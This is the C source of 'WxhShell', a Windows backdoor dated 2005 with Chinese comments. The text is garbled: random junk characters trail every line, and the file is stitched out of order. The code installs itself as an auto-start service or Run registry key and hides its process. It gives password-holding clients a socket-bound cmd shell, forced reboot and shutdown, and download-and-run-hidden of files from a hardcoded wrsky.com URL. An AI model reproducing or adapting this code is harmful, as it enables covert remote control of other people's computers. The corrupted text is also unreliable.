    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^g~-$t<!  
    if(Boot(SHUTDOWN)) M{nz~W80  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UejG$JyHP  
    else { u2Rmp4]  
    closesocket(wsh); .|iUDp6vz  
    ExitThread(0); zIdQ^vm8Q  
    } *>\RGL;]8  
    break; Z;%qpsq  
    } yM#W,@  
  // 获取shell Ex@#!fz{%  
  case 's': { w#JF7;  
    CmdShell(wsh); ]8H;LgM2  
    closesocket(wsh); -lAA,}&+!  
    ExitThread(0); 7:1Hgj(  
    break; ?m~x%[Vn  
  } z Gz5|u  
  // 退出 SM^6+L"BE  
  case 'x': { m{V @Om  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "BzRL g!J  
    CloseIt(wsh); Zr$PSp}  
    break; _$fxoD9  
    } E6@+w.VVO  
  // 离开 A\SbuRty  
  case 'q': { N%Lh_2EzqV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y-,#3%bT;;  
    closesocket(wsh); @${!C\([1  
    WSACleanup(); @j^qT-0M  
    exit(1); 1TbKnmTx  
    break; Xf#;GYO|2  
        } LW2Sko?Yo  
  } lGcHfW)Y  
  } 67n1s  
c)$/Uu  
  // 提示信息 C[x!Lf8'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qv,|7yw{  
} kB~ :HQf  
  } XPY66VC&_  
u\Xi]pZ@X]  
  return; "M? (Ax  
} NtA}I)'SWU  
I/Vlw-  
// shell模块句柄 =B?uNoe  
int CmdShell(SOCKET sock) @&2T0UB  
{ !(o)*S  
STARTUPINFO si; >\>HRyt%  
ZeroMemory(&si,sizeof(si)); yV`!Fq 1k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DU[UGJg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NghQ#c  
PROCESS_INFORMATION ProcessInfo; 2+Fq'!  
char cmdline[]="cmd"; >\@6i s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gbI0?G6XN/  
  return 0; ^Yn6kF  
} 5E.cJ{   
AS8T!  
// 自身启动模式 Ky$ <WZs  
int StartFromService(void) 1x\%VtO>\b  
{ sA` bPhk  
typedef struct N>gv!z[E  
{ Ii4 Byyfx  
  DWORD ExitStatus; ; 4S#6#  
  DWORD PebBaseAddress; ;JAe=wt^'I  
  DWORD AffinityMask; F oEZ1O<  
  DWORD BasePriority; Qp-nr]  
  ULONG UniqueProcessId; 778L[wYe  
  ULONG InheritedFromUniqueProcessId; p?d Ma_ g  
}   PROCESS_BASIC_INFORMATION; v#nFPB=z  
[u-~<80  
PROCNTQSIP NtQueryInformationProcess; "5>p]u>  
v3hNvcMpf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *1>XlVx,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^@tn+'.  
ZegsV|  
  HANDLE             hProcess; H,\c"  
  PROCESS_BASIC_INFORMATION pbi; X}? cAo2N  
op"Cc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }uZh oA  
  if(NULL == hInst ) return 0; hL8QA!  
|1t30_ /gS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Nzr zLK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WM>9sJf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d;'@4NX5+  
c| p eRO.  
  if (!NtQueryInformationProcess) return 0; ;GvyL>|-~  
j)J4[j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "e(OO/EZS  
  if(!hProcess) return 0; ss-Be  
Q[g%((DL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @gTpiV2  
,Q}/#/  
  CloseHandle(hProcess); 7OW;o mT`  
N;ssO,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X|8Y z3:o  
if(hProcess==NULL) return 0; w0Us8JNGz  
Gb8LW,$IT-  
HMODULE hMod; e[{LNM{/#  
char procName[255]; o 'yR^`  
unsigned long cbNeeded; X1A;MA@0Ro  
4;j #7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yqB{QFXO  
op}x}Ioz  
  CloseHandle(hProcess); }F@`A?k  
2-{8+*_'  
if(strstr(procName,"services")) return 1; // 以服务启动 /'ybl^Km  
(*hA0&n  
  return 0; // 注册表启动 Mu{mj4Y{  
} E!ZDqq  
v&uIxFCR  
// 主模块 JRl8S   
int StartWxhshell(LPSTR lpCmdLine) ayC*n'  
{ ;/e!!P]jP  
  SOCKET wsl; A03PEaZO  
BOOL val=TRUE; fC(lY4,H3R  
  int port=0; s7&% _!4  
  struct sockaddr_in door; } |sP;Rpu  
*D`,z3/*  
  if(wscfg.ws_autoins) Install(); ~L4"t_-  
qQVqS7 t  
port=atoi(lpCmdLine); AbfLV942  
Url8Z\;aM  
if(port<=0) port=wscfg.ws_port; Te5_T&1Z  
`uGX/yQ#=  
  WSADATA data; 7p2x}[ .\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9]hc{\  
)_+#yaC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c) 1m4SB@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ! 4i  
  door.sin_family = AF_INET; :Z`4ea"w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t}TtWI  
  door.sin_port = htons(port); >.M `Fz.  
YBg\L$| n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1R,n[`}h  
closesocket(wsl); ty/jTo}  
return 1; %L~X\M:Qk  
} 4W^0K|fq  
+IJpqFH  
  if(listen(wsl,2) == INVALID_SOCKET) { /&ph-4\i  
closesocket(wsl); Lu-owP7nB  
return 1; @NX^__ sa  
} MA"iM+Ar  
  Wxhshell(wsl); U:8^>_  
  WSACleanup(); 6G1Z"9<2*  
@dcW0WQ\  
return 0; qf7.Sh  
pz-`Tp w  
} V ;>{-p  
LscAsq<H<  
// 以NT服务方式启动 f'r/Q2{n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {feS-.Khv  
{ Wx:_F;  
DWORD   status = 0; Gb~q:&IUr  
  DWORD   specificError = 0xfffffff; ZwG+rTW  
|a'Q^aT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J'2R-CI,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i?|K+"=D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :B"'49Q`  
  serviceStatus.dwWin32ExitCode     = 0; Cr(pN[,  
  serviceStatus.dwServiceSpecificExitCode = 0; AV%Q5Mi}  
  serviceStatus.dwCheckPoint       = 0; !nykq}kPN\  
  serviceStatus.dwWaitHint       = 0; MRmz/ZmRM  
4 (Y5n?/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]kKf4SJZFU  
  if (hServiceStatusHandle==0) return; }H^#}  
d(fgv  
status = GetLastError(); n>iPA D  
  if (status!=NO_ERROR) {4:En;  
{ #=$4U!yL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A7: oq7b  
    serviceStatus.dwCheckPoint       = 0; *~fN^{B'!  
    serviceStatus.dwWaitHint       = 0; 4e*0kItC  
    serviceStatus.dwWin32ExitCode     = status; %zX'u.}8#  
    serviceStatus.dwServiceSpecificExitCode = specificError; )rj.WK.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f1\x>W4z~\  
    return; 21cIWvy  
  } SxQ|1:i%  
R[#5E|` `9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R]ppA=1*_l  
  serviceStatus.dwCheckPoint       = 0; _NZ) n)  
  serviceStatus.dwWaitHint       = 0; s"a*S\a;b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P,wFib^1  
} XY%8yII6  
iUl{_vb  
// 处理NT服务事件,比如:启动、停止 XFBk:~}sI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oWJ}]ip  
{ YQ?|Vb U  
switch(fdwControl) gg8T],s1!a  
{ dQ^k-  
case SERVICE_CONTROL_STOP: 3b PVKsY  
  serviceStatus.dwWin32ExitCode = 0; JgK?j&!hs:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s]B^Sz=  
  serviceStatus.dwCheckPoint   = 0; ',O@0L]L  
  serviceStatus.dwWaitHint     = 0; -j<UhW  
  { Z{ p;J^:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e HOm^.gd  
  } #XmN&83_  
  return; ~oaVH.[e=  
case SERVICE_CONTROL_PAUSE: $_)f|\s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <[pU rJfTr  
  break; d$Mj5wN:q  
case SERVICE_CONTROL_CONTINUE: zpa'G1v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X\$M _b>O  
  break; Jg%sl& 65  
case SERVICE_CONTROL_INTERROGATE: t?c*(?Xa  
  break; eyo)Su  
}; iPkG=*Ip(%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] c'owj  
} PUlb(3p `  
[;X YT  
// 标准应用程序主函数 ~I'Z=Wo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *X<De  
{ jCa{WV:K}  
}hBv?B2/1  
// 获取操作系统版本 c%B=TAs5c  
OsIsNt=GetOsVer(); WMI/Y 9N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [NKWudq  
v}cm-_*v  
  // 从命令行安装 `zep`j&8^  
  if(strpbrk(lpCmdLine,"iI")) Install(); NS&~n^*k<  
DO %YOv  
  // 下载执行文件 uAJ_`o[  
if(wscfg.ws_downexe) { C-2n2OM.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~" $9auQtC  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,fYO>l';`f  
} f0hi70\(X  
m7!l3W2  
if(!OsIsNt) { J4co@=AJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 0 TS:o/{(a  
HideProc(); bUqO.FZ[  
StartWxhshell(lpCmdLine); AV8TP-Ls+  
} *:d_~B?Tn  
else :A 1,3g  
  if(StartFromService()) `rs1!ZJ,  
  // 以服务方式启动 tPp }/a%D  
  StartServiceCtrlDispatcher(DispatchTable); +osY iP5  
else 1 9)78kV{  
  // 普通方式启动 Q!|71{5U  
  StartWxhshell(lpCmdLine); ,p 'M@[  
S"_vD<q  
return 0; r+Z+x{  
} 95(VY)_6#A  
S)[2\Z{**T  
X5<L  
bqLv81V  
=========================================== :m+:%keK  
W``e6RX-  
")o.x7~N  
$iF7hyZ  
9r)5d&,6  
|]B]0J#_  
" $~9U-B\  
( NiuAy  
#include <stdio.h> U O[p   
#include <string.h> m<076O4|`  
#include <windows.h> hA~}6Qn  
#include <winsock2.h> .t}nznh  
#include <winsvc.h> KztF#[64W^  
#include <urlmon.h> lL83LhE}<  
PB9<jj;  
#pragma comment (lib, "Ws2_32.lib") @B[=`9KF[  
#pragma comment (lib, "urlmon.lib") m1`ln5(R  
pYa<u,>pN  
#define MAX_USER   100 // 最大客户端连接数 :Z+(H+lyZ  
#define BUF_SOCK   200 // sock buffer 5 WAsEP  
#define KEY_BUFF   255 // 输入 buffer Dic(G[  
E]7G4  
#define REBOOT     0   // 重启 xr?r3Y~^e  
#define SHUTDOWN   1   // 关机 R'80{  
JUXK}0d%eN  
#define DEF_PORT   5000 // 监听端口 o= 8yp2vG  
4<O[d  
#define REG_LEN     16   // 注册表键长度 3g6R<Ez  
#define SVC_LEN     80   // NT服务名长度 %_3{Db`R>  
Lh. L~M1X  
// 从dll定义API "iKK &%W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CP?\'a"Kt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m.4y=69 &  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q.8Jgel1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v=L^jw  
7*4F-5G/  
// wxhshell配置信息 .II'W3Fr  
struct WSCFG { I/@Xr  
  int ws_port;         // 监听端口 f{b"=hQ  
  char ws_passstr[REG_LEN]; // 口令 "+AeqrYYm5  
  int ws_autoins;       // 安装标记, 1=yes 0=no BS{">lPmx  
  char ws_regname[REG_LEN]; // 注册表键名 R.RCa$  
  char ws_svcname[REG_LEN]; // 服务名 &0o&!P8CB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~7Jc;y&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @cXY"hP`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0Ifd!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lOE bh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *vj5J"Y(;t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (d~'H{q  
; aMMI p  
}; WFh!re%Z  
|e pe;/  
// default Wxhshell configuration r<0 .!j%c  
struct WSCFG wscfg={DEF_PORT, zPVA6~|l  
    "xuhuanlingzhe", N .SszZh  
    1, Nd( $s[  
    "Wxhshell", 9PGSr4V 1  
    "Wxhshell", _PRm4 :  
            "WxhShell Service", }ShZ4 xMz  
    "Wrsky Windows CmdShell Service", g:*yjj  
    "Please Input Your Password: ", AU7c = H:?  
  1, 7aU*7!U  
  "http://www.wrsky.com/wxhshell.exe", ]w')~yk  
  "Wxhshell.exe" _=cMa's  
    }; FB</~ g  
Oi{jzP  
// 消息定义模块 $U6)km4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KpK'?WhX7^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @ojn< 7W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lw Kr$X4  
char *msg_ws_ext="\n\rExit."; ME7JU|@Z  
char *msg_ws_end="\n\rQuit."; D)mqe-%1  
char *msg_ws_boot="\n\rReboot..."; '7xY ,IY  
char *msg_ws_poff="\n\rShutdown..."; .vb*|So  
char *msg_ws_down="\n\rSave to "; Jl4zj>8~  
pQqZ4L6v  
char *msg_ws_err="\n\rErr!"; '8W }|aF  
char *msg_ws_ok="\n\rOK!"; LS \4y&J40  
;=E3f^'s  
char ExeFile[MAX_PATH]; KQ2]VN"?_  
int nUser = 0; %f>V\z_C  
HANDLE handles[MAX_USER]; hio{: (  
int OsIsNt;  %RJW@~!  
6x.#K9@q4  
SERVICE_STATUS       serviceStatus; B,A/ -B\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,iHl;3bu  
MbJV)*Q  
// 函数声明 / AW]12_  
int Install(void); 19lx;^b  
int Uninstall(void); Dui<$jl0b  
int DownloadFile(char *sURL, SOCKET wsh); J M`uIVnNA  
int Boot(int flag); uL1-@D,  
void HideProc(void); D!y Cnq=8  
int GetOsVer(void); ]~|zY5i!  
int Wxhshell(SOCKET wsl); u'iOa  
void TalkWithClient(void *cs); /njN*rhx&Z  
int CmdShell(SOCKET sock); \75%[;.  
int StartFromService(void); rfK%%-  
int StartWxhshell(LPSTR lpCmdLine); ~Ipl'cE  
:,cSEST  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `4$" mO>+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e0aeiG$/0  
'|6j1i0x  
// 数据结构和表定义 Yr0%ZYfN  
SERVICE_TABLE_ENTRY DispatchTable[] = z43H]  
{ UZXnABg,J  
{wscfg.ws_svcname, NTServiceMain}, {o;J'yjre1  
{NULL, NULL} |KkVt]ZQe9  
}; oS]XE!^M  
 9((v.  
// 自我安装 Hm*n ,8_  
int Install(void) +nZx{d,wt  
{ !,I}2,1%k  
  char svExeFile[MAX_PATH]; B!9<c9/ P]  
  HKEY key; B` n!IgF8  
  strcpy(svExeFile,ExeFile); 9GCxF`OB  
UoBu0Rx  
// 如果是win9x系统,修改注册表设为自启动 _o<8R@1  
if(!OsIsNt) { PInU-"gG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;Qw>&24h[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F_@PSA+  
  RegCloseKey(key); *)"`v]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (LGx;9S?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); " Z#&A  
  RegCloseKey(key); Vw+U?  
  return 0; Dd :Qotu  
    } ,%D \  
  } ;K`qSX;;c(  
} TqzkF7;k4  
else { yfi.<G)S  
)=2iGEVW  
// 如果是NT以上系统,安装为系统服务 TTBl5X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e)GFJ3sW_  
if (schSCManager!=0) nI dvff  
{ <w 8*Ly:L  
  SC_HANDLE schService = CreateService 6 Rg{^ERf  
  ( qd(`~a  
  schSCManager, <r_ldkZ  
  wscfg.ws_svcname, ,US]  
  wscfg.ws_svcdisp, F4KXx^~o  
  SERVICE_ALL_ACCESS, !m:SRNPg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BQ &|=a6  
  SERVICE_AUTO_START, ;}1*M !  
  SERVICE_ERROR_NORMAL, Z^s&]  
  svExeFile, mpN|U(n  
  NULL, ;CFI*Wfp  
  NULL, # M%-q8  
  NULL, O?rVa:\  
  NULL, P!1y@R>Ln  
  NULL jsH7EhF{'  
  ); W}XDzR'<  
  if (schService!=0) 7H9&\ur9+  
  { "1WwSh}Z  
  CloseServiceHandle(schService); /tDwgxJ  
  CloseServiceHandle(schSCManager); 4IIe1 .{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OZDnU6  
  strcat(svExeFile,wscfg.ws_svcname); e=Kf<ZQt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3)p#}_u{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wxN'Lv=R  
  RegCloseKey(key); \"|E8A6/  
  return 0; x^xlH!Sc  
    } gT?:zd=;  
  } |*K AqTO0  
  CloseServiceHandle(schSCManager); %?@N-$j  
} Y{6y.F*Q#  
} R:fERj<s  
MZl6 J  
return 1; OXT 5 y)   
} #2^eGhwnI  
T2Ms/1FH/@  
// 自我卸载 R %aed>zo  
int Uninstall(void) h3[^uY e  
{ \u9l4  
  HKEY key; a=]tqV_  
*QH@c3vUe\  
if(!OsIsNt) { *S%~0=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #R-l2OO^]  
  RegDeleteValue(key,wscfg.ws_regname); CD]"Q1 t}  
  RegCloseKey(key); 0go{gUI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $3psSQQo  
  RegDeleteValue(key,wscfg.ws_regname); suiO%H^t  
  RegCloseKey(key); DP_ ]\V<sT  
  return 0; {DlQTgP  
  } rom`%qp^  
} =r:(ga  
} P'l'[Kz{'  
else { >BFUts%  
h9-^aB$8^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &6deds  
if (schSCManager!=0) r}T(?KGx  
{ t}6QU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uW;[FTcqy$  
  if (schService!=0) nM#/uuRl|  
  { ?gYQE&M !  
  if(DeleteService(schService)!=0) { q#D-}R_RN  
  CloseServiceHandle(schService); w eX%S&#?  
  CloseServiceHandle(schSCManager); 5y^I~"_ i  
  return 0; 'rl?'~={p  
  } HV21=W  
  CloseServiceHandle(schService); fj"1TtPq#  
  } 94.|l  
  CloseServiceHandle(schSCManager); D`c&Q4$:  
} ]8 vsr$E#  
} OKi}aQ2R*  
2 Sgv  
return 1; G'#Uzwo  
} "zE>+zRl  
s$g3__|Y  
// 从指定url下载文件 BFnp[93N  
int DownloadFile(char *sURL, SOCKET wsh) KwAc Ga}J  
{ unvS`>)Np  
  HRESULT hr; >p*7)  
char seps[]= "/"; )gVz?-u+D  
char *token; GHWt3K:*w  
char *file; mE"(d*fe'  
char myURL[MAX_PATH]; :@@aIFRv  
char myFILE[MAX_PATH]; ]621Z1  
4$oDq  
strcpy(myURL,sURL); b9R0"w!ml  
  token=strtok(myURL,seps); EQ [K  
  while(token!=NULL) %p;;aZG  
  { "W^+NeLc  
    file=token; gT_tR_g  
  token=strtok(NULL,seps); h~pQ  
  } 6c6w w"  
LK|1[y^h  
GetCurrentDirectory(MAX_PATH,myFILE); W:VX^8</  
strcat(myFILE, "\\"); =JaxT90x  
strcat(myFILE, file); {zIcEN$ ~  
  send(wsh,myFILE,strlen(myFILE),0); A$3ll|%j  
send(wsh,"...",3,0); W"!{f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hsAk7KC  
  if(hr==S_OK) sa?s[  
return 0; S'(IG m4  
else {ui{Yc  
return 1; bn:74,GeyK  
U<|*V5   
} mrQT:B\8  
~K@p`CRbV  
// 系统电源模块 H0\' ,X  
int Boot(int flag) @$fvhEkrT@  
{ RF}R~m9]  
  HANDLE hToken; gq~K(Q<O<  
  TOKEN_PRIVILEGES tkp; b5)1\ANq  
&q>C  
  if(OsIsNt) { 3!op'X!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y41b8.|P+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $9@3dM*E?Z  
    tkp.PrivilegeCount = 1; PDpuHHB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GYrUB59  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ly`\TnC  
if(flag==REBOOT) { R$x(3eyx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (c S'Nm5  
  return 0; p`Ok(C_  
} r ?<?0j  
else { .U#oN_D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P>EG;u@.  
  return 0; cwE?+vB  
} [(; .D  
  } ]E|E4K6g  
  else { q*!Vyk  
if(flag==REBOOT) { I6i qC"BK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jZk dTiI  
  return 0; !{F\ \D/  
} W 'PW;.,  
else { =j%ORD[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O[8wF86R  
  return 0; FI@kE19  
} -I:L6ft8  
} +^q- v-  
'soll[J  
return 1; !jR 1!i   
}  z $iI  
bo#?,80L}`  
// win9x进程隐藏模块 TU1W!=Z  
void HideProc(void) 734H{,~  
{ ~H4Tr[8a  
Q sPZ dC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -sx=1+\nf  
  if ( hKernel != NULL ) .7HEI;4  
  { WM0-F@_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D1V^DbUm_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;ykX]5jGh  
    FreeLibrary(hKernel); bSW~hyI w  
  } 8w ]'U  
2]5ux!Lqln  
return; |ADg#oX  
} 0?''v>%  
0pBG^I`_  
// 获取操作系统版本 CN6b 982&  
int GetOsVer(void) ;73{n*a$  
{ `^ )oVs  
  OSVERSIONINFO winfo; v<ati c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nFjaV`6`@  
  GetVersionEx(&winfo); 2UMX%+ "J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8#|PJc  
  return 1; =&mdxKoT0  
  else  eI/@ut}v  
  return 0; ' Uo|@tK  
} ${tBu#$-d  
'DUY f5nF  
// 客户端句柄模块 ;It1i`!R  
int Wxhshell(SOCKET wsl) `pXPF}T  
{ /~+j[o B  
  SOCKET wsh; op,mP0b  
  struct sockaddr_in client; #;\tgUQ  
  DWORD myID; in>?kbaG+  
Np?/r}  
  while(nUser<MAX_USER) #U6~U6@  
{ ,o\~d ?4  
  int nSize=sizeof(client); B7n1'?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7G%^8 ce{!  
  if(wsh==INVALID_SOCKET) return 1; v"sN K  
#&Zj6en}M]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gdr7d  
if(handles[nUser]==0) !Xzy:  
  closesocket(wsh); V0*9Tnc  
else /< \do 1  
  nUser++; .WS7gTw  
  } 7Pr5`#x#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :+ AqY(Gz  
~Dj_N$_+9  
  return 0; Lmc"q FzK  
} lmx'w  
{WuUzq`  
// 关闭 socket #Qd"d3QG  
void CloseIt(SOCKET wsh) Gu%}B@4^  
{ TYedem<$  
closesocket(wsh); rk `]]  
nUser--; 51puR8AG>  
ExitThread(0); *KPNWY9!W  
} << aAYkx <  
mk +BeK  
// 客户端请求句柄 {&h=  
void TalkWithClient(void *cs) @qB1:==@7  
{ gal.<SVW  
$u{ 8wF/)  
  SOCKET wsh=(SOCKET)cs; ^S^7 u  
  char pwd[SVC_LEN]; ?Q: KW  
  char cmd[KEY_BUFF]; :2MHx}]il  
char chr[1]; 5dhT?/qvc  
int i,j; xilA`uw`1  
HNV"'p;  
  while (nUser < MAX_USER) { Cc` )P>L  
Q46sPMH+_  
if(wscfg.ws_passstr) { M9wj };vy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UzUt=s!^H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X-5&c$hv  
  //ZeroMemory(pwd,KEY_BUFF); 6M@m`c  
      i=0; Zc*gRC  
  while(i<SVC_LEN) { ^4tz*i  
]|/\Sd  
  // 设置超时 !Baq4V?KN  
  fd_set FdRead; ysQ8==`38i  
  struct timeval TimeOut; CfjVx   
  FD_ZERO(&FdRead); ~[ x}  
  FD_SET(wsh,&FdRead); /-1 F9  
  TimeOut.tv_sec=8; }'Yk#Q  
  TimeOut.tv_usec=0; q}%;O >Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1ogh8%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [X=Ot#?u ~  
{1]Of'x'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZTP&*+d  
  pwd=chr[0]; df!n.&\y!  
  if(chr[0]==0xd || chr[0]==0xa) { X" ;ly0Mb  
  pwd=0; 44_CT?t<  
  break; .p(~/MnO  
  } =j!Ruy1  
  i++; .{LJ  
    } LxxFosi8  
Fd@:*ER  
  // 如果是非法用户,关闭 socket Ov9kD0S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Zk n1@a  
} >-YWq  
,a?$F1Z-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "e~"-B7(\Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZYD3[" ~x  
OcGHMGdn  
while(1) { w1P8p>vA1  
r2 o-/$  
  ZeroMemory(cmd,KEY_BUFF); N;d@)h(N!  
*27*&&=)H  
      // 自动支持客户端 telnet标准   m' suAj0  
  j=0; ;&G8e* bM2  
  while(j<KEY_BUFF) { olO&7jh7|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0YVkq?1x9  
  cmd[j]=chr[0]; xt"GO  b  
  if(chr[0]==0xa || chr[0]==0xd) { 3re|=_ Hy  
  cmd[j]=0; Z CS{D  
  break; 6s|4'!  
  } tL~?)2uEN  
  j++; JOJ? .H&su  
    } *,d>(\&[f  
#35@YMF  
  // 下载文件 6dq*ncNin  
  if(strstr(cmd,"http://")) { CGkCLd*s]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0`dMT>&I  
  if(DownloadFile(cmd,wsh)) f,}]h~w\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wH Q$F(by  
